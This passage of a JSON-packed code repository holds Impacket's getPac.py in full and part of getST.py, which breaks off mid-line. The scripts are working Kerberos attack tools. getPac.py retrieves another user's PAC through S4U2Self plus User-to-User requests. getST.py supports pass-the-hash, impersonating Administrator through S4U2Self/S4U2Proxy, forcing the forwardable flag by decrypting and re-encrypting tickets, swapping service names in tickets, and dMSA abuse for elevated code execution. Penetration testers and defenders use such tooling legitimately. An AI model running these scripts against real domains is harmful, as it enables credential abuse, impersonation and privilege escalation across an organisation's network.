    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   This script will get the PAC of the specified target user just having a normal authenticated user credentials.\n#   It does so by using a mix of [MS-SFU]'s S4USelf + User to User Kerberos Authentication.\n#   Original idea (or accidental discovery :) ) of adding U2U capabilities inside a S4USelf by Benjamin Delpy (@gentilkiwi)\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# References:\n#   - U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02\n#   - [MS-SFU]: https://msdn.microsoft.com/en-us/library/cc246071.aspx\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport argparse\nimport datetime\nimport logging\nimport random\nimport re\nimport struct\nimport sys\nfrom binascii import unhexlify\nfrom six import b\n\nfrom pyasn1.codec.der import decoder, encoder\nfrom pyasn1.type.univ import noValue\n\nfrom impacket import version\nfrom impacket.dcerpc.v5.rpcrt import TypeSerialization1\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_identity\nfrom impacket.krb5 import constants\nfrom impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \\\n    EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1\nfrom impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, Enctype\nfrom impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive\nfrom impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_CLIENT_INFO_TYPE, PAC_CLIENT_INFO, \\\n    PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA, PAC_PRIVSVR_CHECKSUM, PAC_UPN_DNS_INFO, UPN_DNS_INFO\nfrom impacket.krb5.types import Principal, KerberosTime, Ticket\nfrom impacket.winregistry import hexdump\n\n\nclass S4U2SELF:\n\n    def printPac(self, data):\n        encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]\n        adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[\n            0]\n        # So here we have the PAC\n        pacType = PACTYPE(adIfRelevant[0]['ad-data'].asOctets())\n        buff = pacType['Buffers']\n\n        for bufferN in range(pacType['cBuffers']):\n            infoBuffer = PAC_INFO_BUFFER(buff)\n            data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']]\n            if logging.getLogger().level == logging.DEBUG:\n                print(\"TYPE 0x%x\" % infoBuffer['ulType'])\n            if infoBuffer['ulType'] == 1:\n                type1 = TypeSerialization1(data)\n                # I'm skipping here 4 bytes with its the ReferentID for the pointer\n                newdata = data[len(type1)+4:]\n                kerbdata = KERB_VALIDATION_INFO()\n                kerbdata.fromString(newdata)\n                kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):])\n                kerbdata.dump()\n                print()\n                print('Domain SID:', kerbdata['LogonDomainId'].formatCanonical())\n                print()\n            elif infoBuffer['ulType'] == PAC_CLIENT_INFO_TYPE:\n                clientInfo = PAC_CLIENT_INFO(data)\n                if logging.getLogger().level == logging.DEBUG:\n                    clientInfo.dump()\n                    print()\n            elif infoBuffer['ulType'] == PAC_SERVER_CHECKSUM:\n                signatureData = PAC_SIGNATURE_DATA(data)\n                if logging.getLogger().level == logging.DEBUG:\n                    signatureData.dump()\n                    print()\n            elif infoBuffer['ulType'] == PAC_PRIVSVR_CHECKSUM:\n                signatureData = PAC_SIGNATURE_DATA(data)\n                if logging.getLogger().level == logging.DEBUG:\n                    signatureData.dump()\n                    print()\n            elif infoBuffer['ulType'] == PAC_UPN_DNS_INFO:\n                upn = UPN_DNS_INFO(data)\n                if logging.getLogger().level == logging.DEBUG:\n                    upn.dump()\n                    print(data[upn['DnsDomainNameOffset']:])\n                    print()\n            else:\n                hexdump(data)\n\n            if logging.getLogger().level == logging.DEBUG:\n                print(\"#\"*80)\n\n            buff = buff[len(infoBuffer):]\n\n\n    def __init__(self, behalfUser, username = '', password = '', domain='', hashes = None):\n        self.__username = username\n        self.__password = password\n        self.__domain = domain.upper()\n        self.__behalfUser = behalfUser\n        self.__lmhash = ''\n        self.__nthash = ''\n        if hashes is not None:\n            self.__lmhash, self.__nthash = hashes.split(':')\n\n    def dump(self):\n        # Try all requested protocols until one works.\n\n        userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)\n        tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,\n                                                                unhexlify(self.__lmhash), unhexlify(self.__nthash))\n\n        decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]\n\n        # Extract the ticket from the TGT\n        ticket = Ticket()\n        ticket.from_asn1(decodedTGT['ticket'])\n\n        apReq = AP_REQ()\n        apReq['pvno'] = 5\n        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)\n\n        opts = list()\n        apReq['ap-options'] =  constants.encodeFlags(opts)\n        seq_set(apReq,'ticket', ticket.to_asn1)\n\n        authenticator = Authenticator()\n        authenticator['authenticator-vno'] = 5\n        authenticator['crealm'] = str(decodedTGT['crealm'])\n\n        clientName = Principal()\n        clientName.from_asn1( decodedTGT, 'crealm', 'cname')\n\n        seq_set(authenticator, 'cname', clientName.components_to_asn1)\n\n        now = datetime.datetime.now(datetime.timezone.utc)\n        authenticator['cusec'] = now.microsecond\n        authenticator['ctime'] = KerberosTime.to_asn1(now)\n\n        if logging.getLogger().level == logging.DEBUG:\n            logging.debug('AUTHENTICATOR')\n            print(authenticator.prettyPrint())\n            print ('\\n')\n\n        encodedAuthenticator = encoder.encode(authenticator)\n\n        # Key Usage 7\n        # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes\n        # TGS authenticator subkey), encrypted with the TGS session\n        # key (Section 5.5.1)\n        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)\n\n        apReq['authenticator'] = noValue\n        apReq['authenticator']['etype'] = cipher.enctype\n        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator\n\n        encodedApReq = encoder.encode(apReq)\n\n        tgsReq = TGS_REQ()\n\n        tgsReq['pvno'] =  5\n        tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)\n\n        tgsReq['padata'] = noValue\n        tgsReq['padata'][0] = noValue\n        tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)\n        tgsReq['padata'][0]['padata-value'] = encodedApReq\n\n        # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service\n        # requests a service ticket to itself on behalf of a user. The user is\n        # identified to the KDC by the user's name and realm.\n        clientName = Principal(self.__behalfUser, type=constants.PrincipalNameType.NT_PRINCIPAL.value)\n\n        S4UByteArray = struct.pack('<I',constants.PrincipalNameType.NT_PRINCIPAL.value)\n        S4UByteArray += b(self.__behalfUser) + b(self.__domain) + b'Kerberos'\n\n        if logging.getLogger().level == logging.DEBUG:\n            logging.debug('S4UByteArray')\n            hexdump(S4UByteArray)\n\n        # Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash\n        # with the following three parameters: the session key of the TGT of\n        # the service performing the S4U2Self request, the message type value\n        # of 17, and the byte array S4UByteArray.\n        checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)\n\n        if logging.getLogger().level == logging.DEBUG:\n            logging.debug('CheckSum')\n            hexdump(checkSum)\n\n        paForUserEnc = PA_FOR_USER_ENC()\n        seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)\n        paForUserEnc['userRealm'] = self.__domain\n        paForUserEnc['cksum'] = noValue\n        paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value)\n        paForUserEnc['cksum']['checksum'] = checkSum\n        paForUserEnc['auth-package'] = 'Kerberos'\n\n        if logging.getLogger().level == logging.DEBUG:\n            logging.debug('PA_FOR_USER_ENC')\n            print(paForUserEnc.prettyPrint())\n\n        encodedPaForUserEnc = encoder.encode(paForUserEnc)\n\n        tgsReq['padata'][1] = noValue\n        tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)\n        tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc\n\n        reqBody = seq_set(tgsReq, 'req-body')\n\n        opts = list()\n        opts.append( constants.KDCOptions.forwardable.value )\n        opts.append( constants.KDCOptions.renewable.value )\n        opts.append( constants.KDCOptions.renewable_ok.value )\n        opts.append( constants.KDCOptions.canonicalize.value )\n        opts.append(constants.KDCOptions.enc_tkt_in_skey.value)\n\n        reqBody['kdc-options'] = constants.encodeFlags(opts)\n\n        serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)\n        #serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)\n\n        seq_set(reqBody, 'sname', serverName.components_to_asn1)\n        reqBody['realm'] = str(decodedTGT['crealm'])\n\n        now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1)\n\n        reqBody['till'] = KerberosTime.to_asn1(now)\n        reqBody['nonce'] = random.getrandbits(31)\n        seq_set_iter(reqBody, 'etype',\n                      (int(cipher.enctype),int(constants.EncryptionTypes.rc4_hmac.value)))\n\n        # If you comment these two lines plus enc_tkt_in_skey as option, it is bassically a S4USelf\n        myTicket = ticket.to_asn1(TicketAsn1())\n        seq_set_iter(reqBody, 'additional-tickets', (myTicket,))\n\n        if logging.getLogger().level == logging.DEBUG:\n            logging.debug('Final TGS')\n            print(tgsReq.prettyPrint())\n\n        message = encoder.encode(tgsReq)\n\n        r = sendReceive(message, self.__domain, None)\n\n        tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]\n\n        if logging.getLogger().level == logging.DEBUG:\n            logging.debug('TGS_REP')\n            print(tgs.prettyPrint())\n\n        cipherText = tgs['ticket']['enc-part']['cipher']\n\n        # Key Usage 2\n        # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or\n        #  application session key), encrypted with the service key\n        #  (section 5.4.2)\n\n        newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]\n\n        # Pass the hash/aes key :P\n        if self.__nthash != '' and (isinstance(self.__nthash, bytes) and self.__nthash != b''):\n            key = Key(newCipher.enctype, unhexlify(self.__nthash))\n        else:\n            if newCipher.enctype == Enctype.RC4:\n                key = newCipher.string_to_key(password, '', None)\n            else:\n                key = newCipher.string_to_key(password, self.__domain.upper()+self.__username, None)\n\n        try:\n            # If is was plain U2U, this is the key\n            plainText = newCipher.decrypt(key, 2, str(cipherText))\n        except:\n            # S4USelf + U2U uses this other key\n            plainText = cipher.decrypt(sessionKey, 2, cipherText)\n\n        self.printPac(plainText)\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser()\n\n    parser.add_argument('credentials', action='store', help='domain/username[:password]. Valid domain credentials to use '\n                                                       'for grabbing targetUser\\'s PAC')\n    parser.add_argument('-targetUser', action='store', required=True, help='the target user to retrieve the PAC of')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n    logger.init(options.ts, options.debug)\n\n    domain, username, password, _, _, _ = parse_identity(options.credentials, options.hashes)\n\n    try:\n        dumper = S4U2SELF(options.targetUser, username, password, domain, options.hashes)\n        dumper.dump()\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        logging.error(str(e))\n"
  },
  {
    "path": "examples/getST.py",
    "content": "#!/usr/bin/env python3\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Given a password, hash, aesKey or TGT in ccache, it will request a Service Ticket and save it as ccache\n#   If the account has constrained delegation (with protocol transition) privileges you will be able to use\n#   the -impersonate switch to request the ticket on behalf other user (it will use S4U2Self/S4U2Proxy to\n#   request the ticket.)\n#\n#   Similar feature has been implemented already by Benjamin Delpy (@gentilkiwi) in Kekeo (s4u)\n#\n#   Examples:\n#       ./getST.py -hashes lm:nt -spn cifs/contoso-dc contoso.com/user\n#   or\n#   If you have tickets cached (run klist to verify) the script will use them\n#         ./getST.py -k -spn cifs/contoso-dc contoso.com/user\n#   Be sure tho, that the cached TGT has the forwardable flag set (klist -f). getTGT.py will ask forwardable tickets\n#   by default.\n#\n#   Also, if the account is configured with constrained delegation (with protocol transition) you can request\n#   service tickets for other users, assuming the target SPN is allowed for delegation:\n#         ./getST.py -k -impersonate Administrator -spn cifs/contoso-dc contoso.com/user\n#\n#   The output of this script will be a service ticket for the Administrator user.\n#\n#   Implemented by @fulc2um: you can request a ticket for dMSA account and use it for code execution with privileges of superseded user.\n#   Microsoft documentation for setting up Delegated Managed Service Accounts (dMSA): \n#   https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/delegated-managed-service-accounts/delegated-managed-service-accounts-set-up-dmsa\n#   Assume that dMSA account dmsa$ is dMSA account and Administrator is superseded account:\n#         ./getST.py -k -no-pass -impersonate dmsa$ -self -dmsa contoso.com/user\n#\n#   Once you have the ccache file, set it in the KRB5CCNAME variable and use it for fun and profit.\n#\n# Authors:\n#   Alberto Solino (@agsolino)\n#   Charlie Bromberg (@_nwodtuhs)\n#   Martin Gallo (@MartinGalloAr)\n#   Dirk-jan Mollema (@_dirkjan)\n#   Elad Shamir (@elad_shamir)\n#   @snovvcrash\n#   Leandro (@0xdeaddood)\n#   Jake Karnes (@jakekarnes42)\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport argparse\nimport datetime\nimport logging\nimport os\nimport random\nimport struct\nimport sys\nfrom binascii import hexlify, unhexlify\nfrom six import ensure_binary\n\nfrom pyasn1.codec.der import decoder, encoder\nfrom pyasn1.type.univ import noValue\nfrom pyasn1.type import tag\n\nfrom impacket import version\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_identity\nfrom impacket.krb5 import constants, types, crypto, ccache\nfrom impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \\\n    Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart, S4UUserID, PA_S4U_X509_USER, KERB_DMSA_KEY_PACKAGE\nfrom impacket.krb5.ccache import CCache, Credential\nfrom impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype, string_to_key, _get_checksum_profile, Cksumtype\nfrom impacket.krb5.constants import TicketFlags, encodeFlags, ApplicationTagNumbers\nfrom impacket.krb5.kerberosv5 import getKerberosTGS, getKerberosTGT, sendReceive\nfrom impacket.krb5.types import Principal, KerberosTime, Ticket\nfrom impacket.ntlm import compute_nthash\nfrom impacket.winregistry import hexdump\n\n\nclass GETST:\n    def __init__(self, target, password, domain, options):\n        self.__password = password\n        self.__user = target\n        self.__domain = domain\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__aesKey = options.aesKey\n        self.__options = options\n        self.__kdcHost = options.dc_ip\n        self.__force_forwardable = options.force_forwardable\n        self.__additional_ticket = options.additional_ticket\n        self.__dmsa = options.dmsa\n        self.__saveFileName = None\n        self.__no_s4u2proxy = options.no_s4u2proxy\n        if options.hashes is not None:\n            self.__lmhash, self.__nthash = options.hashes.split(':')\n\n    def saveTicket(self, ticket, sessionKey):\n        ccache = CCache()\n        if self.__options.altservice is not None:\n            decodedST = decoder.decode(ticket, asn1Spec=TGS_REP())[0]\n            sname = decodedST['ticket']['sname']['name-string']\n            if len(decodedST['ticket']['sname']['name-string']) == 1:\n                logging.debug(\"Original sname is not formatted as usual (i.e. CLASS/HOSTNAME), automatically filling the substitution service will fail\")\n                logging.debug(\"Original sname is: %s\" % sname[0])\n                if '/' not in self.__options.altservice:\n                    raise ValueError(\"Substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)\")\n                service_class, service_hostname = ('', sname[0])\n                service_realm = decodedST['ticket']['realm']\n            elif len(decodedST['ticket']['sname']['name-string']) == 2:\n                service_class, service_hostname = decodedST['ticket']['sname']['name-string']\n                service_realm = decodedST['ticket']['realm']\n            else:\n                logging.debug(\"Original sname is: %s\" % '/'.join(sname))\n                raise ValueError(\"Original sname is not formatted as usual (i.e. CLASS/HOSTNAME), something's wrong here...\")\n            if '@' in self.__options.altservice:\n                new_service_realm = self.__options.altservice.split('@')[1].upper()\n                if not '.' in new_service_realm:\n                    logging.debug(\"New service realm is not FQDN, you may encounter errors\")\n                if '/' in self.__options.altservice:\n                    new_service_hostname = self.__options.altservice.split('@')[0].split('/')[1]\n                    new_service_class = self.__options.altservice.split('@')[0].split('/')[0]\n                else:\n                    logging.debug(\"No service hostname in new SPN, using the current one (%s)\" % service_hostname)\n                    new_service_hostname = service_hostname\n                    new_service_class = self.__options.altservice.split('@')[0]\n            else:\n                logging.debug(\"No service realm in new SPN, using the current one (%s)\" % service_realm)\n                new_service_realm = service_realm\n                if '/' in self.__options.altservice:\n                    new_service_hostname = self.__options.altservice.split('/')[1]\n                    new_service_class = self.__options.altservice.split('/')[0]\n                else:\n                    logging.debug(\"No service hostname in new SPN, using the current one (%s)\" % service_hostname)\n                    new_service_hostname = service_hostname\n                    new_service_class = self.__options.altservice\n            if len(service_class) == 0:\n                current_service = \"%s@%s\" % (service_hostname, service_realm)\n            else:\n                current_service = \"%s/%s@%s\" % (service_class, service_hostname, service_realm)\n            new_service = \"%s/%s@%s\" % (new_service_class, new_service_hostname, new_service_realm)\n            self.__saveFileName += \"@\" + new_service.replace(\"/\", \"_\")\n            logging.info('Changing service from %s to %s' % (current_service, new_service))\n            # the values are changed in the ticket\n            decodedST['ticket']['sname']['name-string'][0] = new_service_class\n            decodedST['ticket']['sname']['name-string'][1] = new_service_hostname\n            decodedST['ticket']['realm'] = new_service_realm\n            ticket = encoder.encode(decodedST)\n            ccache.fromTGS(ticket, sessionKey, sessionKey)\n            # the values need to be changed in the ccache credentials\n            # we already checked everything above, we can simply do the second replacement here\n            for creds in ccache.credentials:\n                creds['server'].fromPrincipal(Principal(new_service, type=constants.PrincipalNameType.NT_PRINCIPAL.value))\n        else:\n            ccache.fromTGS(ticket, sessionKey, sessionKey)\n            creds = ccache.credentials[0]\n            service_realm = creds['server'].realm['data']\n            service_class = ''\n            if len(creds['server'].components) == 2:\n                service_class = creds['server'].components[0]['data']\n                service_hostname = creds['server'].components[1]['data']\n            else:\n                service_hostname = creds['server'].components[0]['data']\n            if len(service_class) == 0:\n                service = \"%s@%s\" % (service_hostname, service_realm)\n            else:\n                service = \"%s/%s@%s\" % (service_class, service_hostname, service_realm)\n            self.__saveFileName += \"@\" + service.replace(\"/\", \"_\")\n        logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache'))\n        ccache.saveFile(self.__saveFileName + '.ccache')\n\n    def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path):\n        if not os.path.isfile(additional_ticket_path):\n            logging.error(\"Ticket %s doesn't exist\" % additional_ticket_path)\n            exit(0)\n        else:\n            decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]\n            logging.info(\"\\tUsing additional ticket %s instead of S4U2Self\" % additional_ticket_path)\n            ccache = CCache.loadFile(additional_ticket_path)\n            principal = ccache.credentials[0].header['server'].prettyPrint()\n            creds = ccache.getCredential(principal.decode())\n            TGS = creds.toTGS(principal)\n\n            tgs = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0]\n\n            if logging.getLogger().level == logging.DEBUG:\n                logging.debug('TGS_REP')\n                print(tgs.prettyPrint())\n\n            if self.__force_forwardable:\n                # Convert hashes to binary form, just in case we're receiving strings\n                if isinstance(nthash, str):\n                    try:\n                        nthash = unhexlify(nthash)\n                    except TypeError:\n                        pass\n                if isinstance(aesKey, str):\n                    try:\n                        aesKey = unhexlify(aesKey)\n                    except TypeError:\n                        pass\n\n                # Compute NTHash and AESKey if they're not provided in arguments\n                if self.__password != '' and self.__domain != '' and self.__user != '':\n                    if not nthash:\n                        nthash = compute_nthash(self.__password)\n                        if logging.getLogger().level == logging.DEBUG:\n                            logging.debug('NTHash')\n                            print(hexlify(nthash).decode())\n                    if not aesKey:\n                        salt = self.__domain.upper() + self.__user\n                        aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents\n                        if logging.getLogger().level == logging.DEBUG:\n                            logging.debug('AESKey')\n                            print(hexlify(aesKey).decode())\n\n                # Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys\n                cipherText = tgs['ticket']['enc-part']['cipher']\n\n                # Check which cipher was used to encrypt the ticket. It's not always the same\n                # This determines which of our keys we should use for decryption/re-encryption\n                newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]\n                if newCipher.enctype == Enctype.RC4:\n                    key = Key(newCipher.enctype, nthash)\n                else:\n                    key = Key(newCipher.enctype, aesKey)\n\n                # Decrypt and decode the ticket\n                # Key Usage 2\n                # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or\n                #  application session key), encrypted with the service key\n                #  (section 5.4.2)\n                plainText = newCipher.decrypt(key, 2, cipherText)\n                encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]\n\n                # Print the flags in the ticket before modification\n                logging.debug('\\tService ticket from S4U2self flags: ' + str(encTicketPart['flags']))\n                logging.debug('\\tService ticket from S4U2self is'\n                              + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')\n                              + ' forwardable')\n\n                # Customize flags the forwardable flag is the only one that really matters\n                logging.info('\\tForcing the service ticket to be forwardable')\n                # convert to string of bits\n                flagBits = encTicketPart['flags'].asBinary()\n                # Set the forwardable flag. Awkward binary string insertion\n                flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:]\n                # Overwrite the value with the new bits\n                encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits)  # Update flags\n\n                logging.debug('\\tService ticket flags after modification: ' + str(encTicketPart['flags']))\n                logging.debug('\\tService ticket now is'\n                              + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')\n                              + ' forwardable')\n\n                # Re-encode and re-encrypt the ticket\n                # Again, Key Usage 2\n                encodedEncTicketPart = encoder.encode(encTicketPart)\n                cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None)\n\n                # put it back in the TGS\n                tgs['ticket']['enc-part']['cipher'] = cipherText\n\n            ################################################################################\n            # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy\n            # So here I have a ST for me.. I now want a ST for another service\n            # Extract the ticket from the TGT\n            ticketTGT = Ticket()\n            ticketTGT.from_asn1(decodedTGT['ticket'])\n\n            # Get the service ticket\n            ticket = Ticket()\n            ticket.from_asn1(tgs['ticket'])\n\n            apReq = AP_REQ()\n            apReq['pvno'] = 5\n            apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)\n\n            opts = list()\n            apReq['ap-options'] = constants.encodeFlags(opts)\n            seq_set(apReq, 'ticket', ticketTGT.to_asn1)\n\n            authenticator = Authenticator()\n            authenticator['authenticator-vno'] = 5\n            authenticator['crealm'] = str(decodedTGT['crealm'])\n\n            clientName = Principal()\n            clientName.from_asn1(decodedTGT, 'crealm', 'cname')\n\n            seq_set(authenticator, 'cname', clientName.components_to_asn1)\n\n            now = datetime.datetime.now(datetime.timezone.utc)\n            authenticator['cusec'] = now.microsecond\n            authenticator['ctime'] = KerberosTime.to_asn1(now)\n\n            encodedAuthenticator = encoder.encode(authenticator)\n\n            # Key Usage 7\n            # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes\n            # TGS authenticator subkey), encrypted with the TGS session\n            # key (Section 5.5.1)\n            encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)\n\n            apReq['authenticator'] = noValue\n            apReq['authenticator']['etype'] = cipher.enctype\n            apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator\n\n            encodedApReq = encoder.encode(apReq)\n\n            tgsReq = TGS_REQ()\n\n            tgsReq['pvno'] = 5\n            tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)\n            tgsReq['padata'] = noValue\n            tgsReq['padata'][0] = noValue\n            tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)\n            tgsReq['padata'][0]['padata-value'] = encodedApReq\n\n            # Add resource-based constrained delegation support\n            paPacOptions = PA_PAC_OPTIONS()\n            paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,))\n\n            tgsReq['padata'][1] = noValue\n            tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value\n            tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions)\n\n            reqBody = seq_set(tgsReq, 'req-body')\n\n            opts = list()\n            # This specified we're doing S4U\n            opts.append(constants.KDCOptions.cname_in_addl_tkt.value)\n            opts.append(constants.KDCOptions.canonicalize.value)\n            opts.append(constants.KDCOptions.forwardable.value)\n            opts.append(constants.KDCOptions.renewable.value)\n\n            reqBody['kdc-options'] = constants.encodeFlags(opts)\n            service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)\n            seq_set(reqBody, 'sname', service2.components_to_asn1)\n            reqBody['realm'] = self.__domain\n\n            myTicket = ticket.to_asn1(TicketAsn1())\n            seq_set_iter(reqBody, 'additional-tickets', (myTicket,))\n\n            now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1)\n\n            reqBody['till'] = KerberosTime.to_asn1(now)\n            reqBody['nonce'] = random.getrandbits(31)\n            seq_set_iter(reqBody, 'etype',\n                         (\n                             int(constants.EncryptionTypes.rc4_hmac.value),\n                             int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),\n                             int(constants.EncryptionTypes.des_cbc_md5.value),\n                             int(cipher.enctype)\n                         )\n                         )\n            message = encoder.encode(tgsReq)\n\n            logging.info('Requesting S4U2Proxy')\n            r = sendReceive(message, self.__domain, kdcHost)\n            return r, None, sessionKey, None\n\n    def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost):\n        decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]\n        # Extract the ticket from the TGT\n        ticket = Ticket()\n        ticket.from_asn1(decodedTGT['ticket'])\n\n        apReq = AP_REQ()\n        apReq['pvno'] = 5\n        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)\n\n        opts = list()\n        apReq['ap-options'] = constants.encodeFlags(opts)\n        seq_set(apReq, 'ticket', ticket.to_asn1)\n\n        authenticator = Authenticator()\n        authenticator['authenticator-vno'] = 5\n        authenticator['crealm'] = str(decodedTGT['crealm'])\n\n        clientName = Principal()\n        clientName.from_asn1(decodedTGT, 'crealm', 'cname')\n\n        seq_set(authenticator, 'cname', clientName.components_to_asn1)\n\n        now = datetime.datetime.now(datetime.timezone.utc)\n        authenticator['cusec'] = now.microsecond\n        authenticator['ctime'] = KerberosTime.to_asn1(now)\n\n        if logging.getLogger().level == logging.DEBUG:\n            logging.debug('AUTHENTICATOR')\n            print(authenticator.prettyPrint())\n            print('\\n')\n\n        encodedAuthenticator = encoder.encode(authenticator)\n\n        # Key Usage 7\n        # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes\n        # TGS authenticator subkey), encrypted with the TGS session\n        # key (Section 5.5.1)\n        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)\n\n        apReq['authenticator'] = noValue\n        apReq['authenticator']['etype'] = cipher.enctype\n        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator\n\n        encodedApReq = encoder.encode(apReq)\n\n        tgsReq = TGS_REQ()\n\n        tgsReq['pvno'] = 5\n        tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)\n\n        tgsReq['padata'] = noValue\n        tgsReq['padata'][0] = noValue\n        tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)\n        tgsReq['padata'][0]['padata-value'] = encodedApReq\n\n        # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service\n        # requests a service ticket to itself on behalf of a user. The user is\n        # identified to the KDC by the user's name and realm.\n        clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)\n\n        S4UByteArray = struct.pack('<I', constants.PrincipalNameType.NT_PRINCIPAL.value)\n        S4UByteArray += ensure_binary(self.__options.impersonate) + ensure_binary(self.__domain) + b'Kerberos'\n\n        if logging.getLogger().level == logging.DEBUG:\n            logging.debug('S4UByteArray')\n            hexdump(S4UByteArray)\n        \n        paencoded = None\n        padatatype = None\n        \n        if self.__dmsa:\n            nonce_value = random.getrandbits(31)\n            dmsa_flags = [2, 4] # UNCONDITIONAL_DELEGATION (bit 2) | SIGN_REPLY (bit 4)\n      